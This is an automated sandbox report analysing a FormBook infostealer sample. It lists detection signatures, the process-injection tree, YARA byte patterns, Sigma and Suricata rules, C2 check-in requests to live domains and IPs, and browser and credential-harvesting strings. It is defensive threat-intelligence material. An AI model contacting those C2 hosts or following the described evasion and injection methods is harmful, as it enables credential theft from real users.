Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
oLCnCWQDhK.exe

Overview

General Information

Sample name:oLCnCWQDhK.exe
renamed because original name is a hash value
Original sample name:09e15623dc49aa61d1d72e7a158d20c671093901c365fd2d5cbbf449d535a88a.exe
Analysis ID:1529043
MD5:6fb6b6ccf47f2867f674c818b974ea28
SHA1:24e274ffb15837b50eb739e2bba906cef39aa99f
SHA256:09e15623dc49aa61d1d72e7a158d20c671093901c365fd2d5cbbf449d535a88a
Tags:exeuser-adrian__luca
Infos:

Detection

FormBook
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus / Scanner detection for submitted sample
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected FormBook
AI detected suspicious sample
Found direct / indirect Syscall (likely to bypass EDR)
Machine Learning detection for sample
Maps a DLL or memory area into another process
Modifies the context of a thread in another process (thread injection)
Queues an APC in another process (thread injection)
Switches to a custom stack to bypass stack traces
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Writes to foreign memory regions
Checks if the current process is being debugged
Contains functionality for execution timing, often used to detect debuggers
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to block mouse and keyboard input (often used to hinder debugging)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to execute programs as a different user
Contains functionality to launch a process as a different user
Contains functionality to launch a program with higher privileges
Contains functionality to modify clipboard data
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate keystroke presses
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Found evasive API chain (date check)
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
OS version to string mapping found (often used in BOTs)
Potential key logger detected (key state polling based)
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Uncommon Svchost Parent Process
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)
Yara signature match

Classification

Process Tree

  • System is w10x64
  • oLCnCWQDhK.exe (PID: 6188 cmdline: "C:\Users\user\Desktop\oLCnCWQDhK.exe" MD5: 6FB6B6CCF47F2867F674C818B974EA28)
    • svchost.exe (PID: 6772 cmdline: "C:\Users\user\Desktop\oLCnCWQDhK.exe" MD5: 1ED18311E3DA35942DB37D15FA40CC5B)
      • EthPSueuMbeZ.exe (PID: 3732 cmdline: "C:\Program Files (x86)\WTxtoIHnwgYQnMauPcJdJlcdhoLvMzBRBwfYcbyutNlTfhPKsepkKmlKAsefUSVxgYQEoQLZSaAhnGS\EthPSueuMbeZ.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
        • wextract.exe (PID: 1624 cmdline: "C:\Windows\SysWOW64\wextract.exe" MD5: B9CC7E24DB7DE2E75678761B1D8BAC3E)
          • EthPSueuMbeZ.exe (PID: 6824 cmdline: "C:\Program Files (x86)\WTxtoIHnwgYQnMauPcJdJlcdhoLvMzBRBwfYcbyutNlTfhPKsepkKmlKAsefUSVxgYQEoQLZSaAhnGS\EthPSueuMbeZ.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
          • firefox.exe (PID: 1548 cmdline: "C:\Program Files\Mozilla Firefox\Firefox.exe" MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
Formbook, FormboFormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.
  • SWEED
  • Cobalt
https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Malware Configuration

⊘No configs have been found

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
0000000D.00000002.2503030807.0000000002CC0000.00000040.80000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
    0000000D.00000002.2503030807.0000000002CC0000.00000040.80000000.00040000.00000000.sdmpWindows_Trojan_Formbook_1112e116unknownunknown
    • 0x2bb50:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55
    • 0x13c3f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
    00000002.00000002.1910782362.0000000002F70000.00000040.10000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
      00000002.00000002.1910782362.0000000002F70000.00000040.10000000.00040000.00000000.sdmpWindows_Trojan_Formbook_1112e116unknownunknown
      • 0x2bb50:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55
      • 0x13c3f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
      0000000D.00000002.2505420589.0000000004950000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
        Click to see the 9 entries

        Unpacked PEs

        SourceRuleDescriptionAuthorStrings
        2.2.svchost.exe.690000.0.raw.unpackJoeSecurity_FormBook_1Yara detected FormBookJoe Security
          2.2.svchost.exe.690000.0.raw.unpackWindows_Trojan_Formbook_1112e116unknownunknown
          • 0x2ed33:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55
          • 0x16e22:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
          2.2.svchost.exe.690000.0.unpackJoeSecurity_FormBook_1Yara detected FormBookJoe Security
            2.2.svchost.exe.690000.0.unpackWindows_Trojan_Formbook_1112e116unknownunknown
            • 0x2df33:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55
            • 0x16022:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01

            Sigma Signatures

            System Summary

            barindex
            Sigma detected: Uncommon Svchost Parent Process
            Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Users\user\Desktop\oLCnCWQDhK.exe", CommandLine: "C:\Users\user\Desktop\oLCnCWQDhK.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\oLCnCWQDhK.exe", ParentImage: C:\Users\user\Desktop\oLCnCWQDhK.exe, ParentProcessId: 6188, ParentProcessName: oLCnCWQDhK.exe, ProcessCommandLine: "C:\Users\user\Desktop\oLCnCWQDhK.exe", ProcessId: 6772, ProcessName: svchost.exe
            Sigma detected: Windows Processes Suspicious Parent Directory
            Source: Process startedAuthor: vburov: Data: Command: "C:\Users\user\Desktop\oLCnCWQDhK.exe", CommandLine: "C:\Users\user\Desktop\oLCnCWQDhK.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\oLCnCWQDhK.exe", ParentImage: C:\Users\user\Desktop\oLCnCWQDhK.exe, ParentProcessId: 6188, ParentProcessName: oLCnCWQDhK.exe, ProcessCommandLine: "C:\Users\user\Desktop\oLCnCWQDhK.exe", ProcessId: 6772, ProcessName: svchost.exe

            Suricata Signatures

            TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
            2024-10-08T15:44:07.976740+020028554651A Network Trojan was detected192.168.2.749974198.44.251.20380TCP
            2024-10-08T15:45:37.631608+020028554651A Network Trojan was detected192.168.2.74997084.32.84.3280TCP
            TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
            2024-10-08T15:45:54.852327+020028554641A Network Trojan was detected192.168.2.749971198.44.251.20380TCP
            2024-10-08T15:45:57.399175+020028554641A Network Trojan was detected192.168.2.749972198.44.251.20380TCP
            2024-10-08T15:45:59.977238+020028554641A Network Trojan was detected192.168.2.749973198.44.251.20380TCP

            Joe Sandbox Signatures

            Click to jump to signature section

            Show All Signature Results

            AV Detection

            barindex
            Antivirus / Scanner detection for submitted sample
            Source: oLCnCWQDhK.exeAvira: detected
            Multi AV Scanner detection for submitted file
            Source: oLCnCWQDhK.exeReversingLabs: Detection: 76%
            Yara detected FormBook
            Source: Yara matchFile source: 2.2.svchost.exe.690000.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 2.2.svchost.exe.690000.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 0000000D.00000002.2503030807.0000000002CC0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000002.00000002.1910782362.0000000002F70000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000D.00000002.2505420589.0000000004950000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000D.00000002.2505519891.00000000049A0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000002.00000002.1910510903.0000000000690000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000C.00000002.2505688280.00000000030D0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000002.00000002.1911128401.0000000003550000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            AI detected suspicious sample
            Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
            Machine Learning detection for sample
            Source: oLCnCWQDhK.exeJoe Sandbox ML: detected
            Source: oLCnCWQDhK.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
            Source: Binary string: wextract.pdb source: svchost.exe, 00000002.00000003.1878117159.0000000000A4D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1877944865.0000000000A2B000.00000004.00000020.00020000.00000000.sdmp, EthPSueuMbeZ.exe, 0000000C.00000002.2504917914.00000000014B8000.00000004.00000020.00020000.00000000.sdmp, EthPSueuMbeZ.exe, 0000000C.00000003.1848017873.00000000014CB000.00000004.00000020.00020000.00000000.sdmp, EthPSueuMbeZ.exe, 0000000C.00000002.2504917914.00000000014EB000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: wextract.pdbGCTL source: svchost.exe, 00000002.00000003.1878117159.0000000000A4D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1877944865.0000000000A2B000.00000004.00000020.00020000.00000000.sdmp, EthPSueuMbeZ.exe, 0000000C.00000002.2504917914.00000000014B8000.00000004.00000020.00020000.00000000.sdmp, EthPSueuMbeZ.exe, 0000000C.00000003.1848017873.00000000014CB000.00000004.00000020.00020000.00000000.sdmp, EthPSueuMbeZ.exe, 0000000C.00000002.2504917914.00000000014EB000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: EthPSueuMbeZ.exe, 0000000C.00000002.2503183301.0000000000C6E000.00000002.00000001.01000000.00000005.sdmp, EthPSueuMbeZ.exe, 00000010.00000000.1979513751.0000000000C6E000.00000002.00000001.01000000.00000005.sdmp
            Source: Binary string: wntdll.pdbUGP source: oLCnCWQDhK.exe, 00000000.00000003.1260700980.00000000045A0000.00000004.00001000.00020000.00000000.sdmp, oLCnCWQDhK.exe, 00000000.00000003.1261561282.0000000004740000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1806232459.0000000003000000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1910830635.0000000003200000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1804230710.0000000002E00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1910830635.000000000339E000.00000040.00001000.00020000.00000000.sdmp, wextract.exe, 0000000D.00000003.1916948837.0000000004AE3000.00000004.00000020.00020000.00000000.sdmp, wextract.exe, 0000000D.00000003.1910808388.000000000493E000.00000004.00000020.00020000.00000000.sdmp, wextract.exe, 0000000D.00000002.2505832283.0000000004C90000.00000040.00001000.00020000.00000000.sdmp, wextract.exe, 0000000D.00000002.2505832283.0000000004E2E000.00000040.00001000.00020000.00000000.sdmp
            Source: Binary string: wntdll.pdb source: oLCnCWQDhK.exe, 00000000.00000003.1260700980.00000000045A0000.00000004.00001000.00020000.00000000.sdmp, oLCnCWQDhK.exe, 00000000.00000003.1261561282.0000000004740000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000002.00000003.1806232459.0000000003000000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1910830635.0000000003200000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1804230710.0000000002E00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1910830635.000000000339E000.00000040.00001000.00020000.00000000.sdmp, wextract.exe, wextract.exe, 0000000D.00000003.1916948837.0000000004AE3000.00000004.00000020.00020000.00000000.sdmp, wextract.exe, 0000000D.00000003.1910808388.000000000493E000.00000004.00000020.00020000.00000000.sdmp, wextract.exe, 0000000D.00000002.2505832283.0000000004C90000.00000040.00001000.00020000.00000000.sdmp, wextract.exe, 0000000D.00000002.2505832283.0000000004E2E000.00000040.00001000.00020000.00000000.sdmp
            Source: Binary string: svchost.pdb source: wextract.exe, 0000000D.00000002.2506247486.00000000052BC000.00000004.10000000.00040000.00000000.sdmp, wextract.exe, 0000000D.00000002.2503345244.0000000002DF5000.00000004.00000020.00020000.00000000.sdmp, EthPSueuMbeZ.exe, 00000010.00000000.1980107532.000000000316C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000011.00000002.2249916942.000000001C32C000.00000004.80000000.00040000.00000000.sdmp
            Source: Binary string: svchost.pdbUGP source: wextract.exe, 0000000D.00000002.2506247486.00000000052BC000.00000004.10000000.00040000.00000000.sdmp, wextract.exe, 0000000D.00000002.2503345244.0000000002DF5000.00000004.00000020.00020000.00000000.sdmp, EthPSueuMbeZ.exe, 00000010.00000000.1980107532.000000000316C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000011.00000002.2249916942.000000001C32C000.00000004.80000000.00040000.00000000.sdmp
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_00452492 FindFirstFileW,Sleep,FindNextFileW,FindClose,0_2_00452492
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_00442886 FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_00442886
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_004788BD FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,0_2_004788BD
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_004339B6 GetFileAttributesW,FindFirstFileW,FindClose,0_2_004339B6
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_0045CAFA FindFirstFileW,FindNextFileW,FindClose,0_2_0045CAFA
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_00431A86 FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_00431A86
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_0044BD27 _wcscat,_wcscat,__wsplitpath,FindFirstFileW,CopyFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindClose,MoveFileW,FindNextFileW,FindClose,0_2_0044BD27
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_0045DE8F FindFirstFileW,FindClose,0_2_0045DE8F
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_0044BF8B _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,FindClose,0_2_0044BF8B
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_02CDC030 FindFirstFileW,FindNextFileW,FindClose,13_2_02CDC030
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 4x nop then xor eax, eax13_2_02CC9B40
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 4x nop then pop edi13_2_02CCDBBE
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 4x nop then mov ebx, 00000004h13_2_04AA04DE

            Networking

            barindex
            Suricata IDS alerts for network traffic
            Source: Network trafficSuricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.7:49970 -> 84.32.84.32:80
            Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:49973 -> 198.44.251.203:80
            Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:49972 -> 198.44.251.203:80
            Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:49971 -> 198.44.251.203:80
            Source: Network trafficSuricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.7:49974 -> 198.44.251.203:80
            Source: Joe Sandbox ViewIP Address: 84.32.84.32 84.32.84.32
            Source: Joe Sandbox ViewASN Name: NTT-LT-ASLT NTT-LT-ASLT
            Source: Joe Sandbox ViewASN Name: IKGUL-26484US IKGUL-26484US
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_004422FE InternetQueryDataAvailable,InternetReadFile,0_2_004422FE
            Source: global trafficHTTP traffic detected: GET /wlo5/?FBeh=CM5svj/Jqf1poSHeMj5/r+NnqEfLZZItIQ95L2yXLG/JG/00oonc4yb62CzIQH5xpFXAP6Ke6nqsuzHIo+F+y7v4YQSe8tbNC1hB8RVd0xhKZiYo2oKcfdFxxvEt5bq2V2swyTcdbe6T&DfhDq=hvZ8HhLP1L HTTP/1.1Host: www.servehimfoundation.orgAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36
            Source: global trafficHTTP traffic detected: GET /2i77/?FBeh=LTODvrhkMVqC3PKCaJdvO2t6hDsejrMuF+eBTdKoQS/6ei5HfNTQm76vsHOzwLCg1kh0lrMBTIeoxNiIEVh8EQZRdYH26u2LqJt1YWeMJrh5ZIo+pKpB+Wc3K2X12eL+1JIO5dLCeoUs&DfhDq=hvZ8HhLP1L HTTP/1.1Host: www.n0pme6.topAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36
            Source: global trafficDNS traffic detected: DNS query: www.timetime.store
            Source: global trafficDNS traffic detected: DNS query: www.servehimfoundation.org
            Source: global trafficDNS traffic detected: DNS query: www.n0pme6.top
            Source: unknownHTTP traffic detected: POST /2i77/ HTTP/1.1Host: www.n0pme6.topAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Accept-Encoding: gzip, deflate, brOrigin: http://www.n0pme6.topContent-Length: 217Cache-Control: no-cacheContent-Type: application/x-www-form-urlencodedConnection: closeReferer: http://www.n0pme6.top/2i77/User-Agent: Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36Data Raw: 46 42 65 68 3d 47 52 6d 6a 73 65 46 68 43 55 65 4e 32 2f 6d 65 57 59 46 78 4a 44 46 71 72 67 6f 65 6c 72 49 6e 4c 72 76 53 53 38 37 65 4d 48 33 43 51 67 6c 79 54 76 2f 79 2f 38 58 6c 73 47 4b 34 38 5a 36 68 35 46 5a 4c 6b 4f 77 67 65 37 58 70 2f 65 4c 72 49 45 39 4c 4a 31 64 65 57 62 7a 48 38 4f 37 73 71 62 4a 4e 4a 58 61 31 58 70 68 47 47 35 4e 79 68 70 35 71 2f 47 59 56 42 47 2f 74 39 2b 4c 66 31 63 41 56 73 36 4b 44 4c 50 38 35 61 75 66 48 31 65 6b 53 33 41 76 31 6d 49 51 37 47 45 45 55 79 57 4b 70 34 44 43 58 72 62 35 38 73 43 70 38 30 46 58 64 2f 46 44 4a 70 33 58 6b 6d 32 71 34 55 6d 41 7a 39 30 36 66 51 59 77 45 38 66 77 57 45 41 3d 3d Data Ascii: FBeh=GRmjseFhCUeN2/meWYFxJDFqrgoelrInLrvSS87eMH3CQglyTv/y/8XlsGK48Z6h5FZLkOwge7Xp/eLrIE9LJ1deWbzH8O7sqbJNJXa1XphGG5Nyhp5q/GYVBG/t9+Lf1cAVs6KDLP85aufH1ekS3Av1mIQ7GEEUyWKp4DCXrb58sCp80FXd/FDJp3Xkm2q4UmAz906fQYwE8fwWEA==
            Source: EthPSueuMbeZ.exe, 00000010.00000002.2504820863.0000000001285000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.n0pme6.top
            Source: EthPSueuMbeZ.exe, 00000010.00000002.2504820863.0000000001285000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.n0pme6.top/2i77/
            Source: wextract.exe, 0000000D.00000003.2143247875.0000000007CCE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ac.ecosia.org/autocomplete?q=
            Source: wextract.exe, 0000000D.00000003.2143247875.0000000007CCE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
            Source: wextract.exe, 0000000D.00000003.2143247875.0000000007CCE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
            Source: wextract.exe, 0000000D.00000003.2143247875.0000000007CCE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
            Source: wextract.exe, 0000000D.00000003.2143247875.0000000007CCE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/ac/?q=
            Source: wextract.exe, 0000000D.00000003.2143247875.0000000007CCE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/chrome_newtab
            Source: wextract.exe, 0000000D.00000003.2143247875.0000000007CCE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
            Source: wextract.exe, 0000000D.00000002.2503345244.0000000002E10000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
            Source: wextract.exe, 0000000D.00000002.2503345244.0000000002E40000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
            Source: wextract.exe, 0000000D.00000002.2503345244.0000000002E10000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
            Source: wextract.exe, 0000000D.00000002.2503345244.0000000002E10000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
            Source: wextract.exe, 0000000D.00000002.2503345244.0000000002E10000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
            Source: wextract.exe, 0000000D.00000002.2503345244.0000000002E40000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
            Source: wextract.exe, 0000000D.00000003.2138947733.0000000007CA9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srfhttps://login.l
            Source: wextract.exe, 0000000D.00000003.2143247875.0000000007CCE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.ecosia.org/newtab/
            Source: wextract.exe, 0000000D.00000003.2143247875.0000000007CCE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_0045A10F OpenClipboard,EmptyClipboard,CloseClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,0_2_0045A10F
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_0045A10F OpenClipboard,EmptyClipboard,CloseClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,0_2_0045A10F
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_0046DC80 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,0_2_0046DC80
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_0044C37A GetKeyboardState,SetKeyboardState,PostMessageW,PostMessageW,SendInput,0_2_0044C37A
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_0047C81C SendMessageW,NtdllDialogWndProc_W,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,742845F0,SendMessageW,SendMessageW,SendMessageW,_wcsncpy,SendMessageW,SendMessageW,SendMessageW,InvalidateRect,SendMessageW,6FDECB00,6FDEC2F0,SetCapture,ClientToScreen,6FDEC530,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,742845F0,0_2_0047C81C

            E-Banking Fraud

            barindex
            Yara detected FormBook
            Source: Yara matchFile source: 2.2.svchost.exe.690000.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 2.2.svchost.exe.690000.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 0000000D.00000002.2503030807.0000000002CC0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000002.00000002.1910782362.0000000002F70000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000D.00000002.2505420589.0000000004950000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000D.00000002.2505519891.00000000049A0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000002.00000002.1910510903.0000000000690000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000C.00000002.2505688280.00000000030D0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000002.00000002.1911128401.0000000003550000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

            System Summary

            barindex
            Malicious sample detected (through community Yara rule)
            Source: 2.2.svchost.exe.690000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 2.2.svchost.exe.690000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 0000000D.00000002.2503030807.0000000002CC0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
